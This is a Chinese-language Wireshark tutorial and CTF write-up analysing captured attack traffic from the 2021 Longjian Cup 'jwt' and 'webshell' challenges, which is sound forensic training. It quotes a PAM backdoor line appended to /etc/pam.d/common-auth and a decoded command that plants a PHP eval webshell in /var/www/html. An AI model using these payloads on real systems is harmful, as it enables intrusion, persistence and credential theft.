Wireshark簡介
抓包前
1.打開wireshark得到下面的界面
2.選擇菜單欄上捕獲-> 選項,勾選WLAN網卡(這里需要根據各自電腦網卡使用情況選擇,簡單的辦法可以看使用的IP對應的網卡)。點擊開始。啟動抓包。
3.wireshark啟動后,wireshark處于抓包狀態中。
抓包后
簡單介紹一下打開一個文件后的界面
在數據列表區的顏色不同,有不同的意義,如下:
其中的主要區域:
1.應用顯示過濾器, 用于設置過濾條件進行數據包列表過濾。菜單路徑:分析–> 顯示過濾器。
2.數據包列表, 顯示捕獲到的數據包,每個數據包包含編號,時間戳,源地址,目標地址,協議,長度,以及數據包信息。 不同協議的數據包使用了不同的顏色區分顯示。
刷題實操
[隴劍杯 2021]jwt
[隴劍杯 2021]jwt(問1)
其實從題目我們就知道答案了。但是我們還是得學會怎么做,用wireshark打開,
結合題目描述,“認證方式”,我們就去搜索一下認證方式
對比三種認證方式:傳統token認證,jwt認證,oauth認證_token認證原理-CSDN博客
看到了題目的jwt,其中有header,而wireshark的流量分析也有head,查看一下,有token然后,我們追蹤一下,這一段token是什么
其中成分挺多的,有大寫、小寫、數字、下劃線......那么我們先試試base64
這樣解碼可以看到一個經典的用戶名‘admin’,所以這應該就包含了我們的flag
[隴劍杯 2021]jwt(問2)
在前文的那篇文章中我們可以得到如下知識:
也就是說id和name都包含到了token里面,所以我們搜索字符串token?看到whoami,這里我們就已經能感知到自己成功了,繼續base64解碼
[隴劍杯 2021]jwt(問3)
需要的是權限是什么。我搜索剛才的whoami,然后這一條流量的下一條應該就是它的回復了,所以我們就看看下一條流量,得到回復是root,所以權限是root
[隴劍杯 2021]jwt(問4)
題目描述是文件上傳,所以我們過濾
http.request.method=="POST"
挨個查看信息,看到了一個類似文件的
[隴劍杯 2021]jwt(問5)
和上一題類似,再過濾一個字符串so
[隴劍杯 2021]jwt(問6)
因為給的是黑客攻擊流量,所有http的請求方法應該為“POST"
Etc是Linux系統下的一個文件夾,一般用來寄存程序所需的整個文件系統的配置文件
根據echo “auth optional looter.so”>>/etc/pam.d/common-auth可知其意為:向/etc/pam.d/common-auth文件追加一行內容,內容為auth optional looter.so,故文件路徑為/etc/pam.d/common-auth
[隴劍杯 2021]webshell
[隴劍杯 2021]webshell(問1)
需要的是密碼,所以輸入pass找找
[隴劍杯 2021]webshell(問2)
因為修改的是日志文件,所以后綴通常是.log,那么就搜索這個字符串
直接提交顯示錯誤,再看一下題目,說的是絕對路徑,就得從根目錄開始,那么我們就需要再找一下該路徑的工作目錄的路徑
這里我們需要來學習一下aaa這個傳參,這句話進行base64解碼后得到的是:
"aaa"="system('echo <?php eval($_REQUEST[aaa]);?>|=base64 -d > /var/www/html/1.php');
這個代碼將會實現在目標服務器上植入PHP webshell,從這里我們可以看到植入的文件是1.php,所以這個文件和我們的日志文件是同一級的,所以我們就找到了需要的根目錄。
[隴劍杯 2021]webshell(問3)
黑客獲取webshell后,大概率會執行id或者whoami命令來查看自己的權限,那么就搜索字符串whoami去獲得,得到了兩條流量,我們就分別追蹤
第一條的狀態碼是404,就不用看了第二條的狀態碼是200
那么就繼續往下審(也可以選擇直接搜索use,因為User Group就是用戶權限的意思,也就是對whoami的回答了)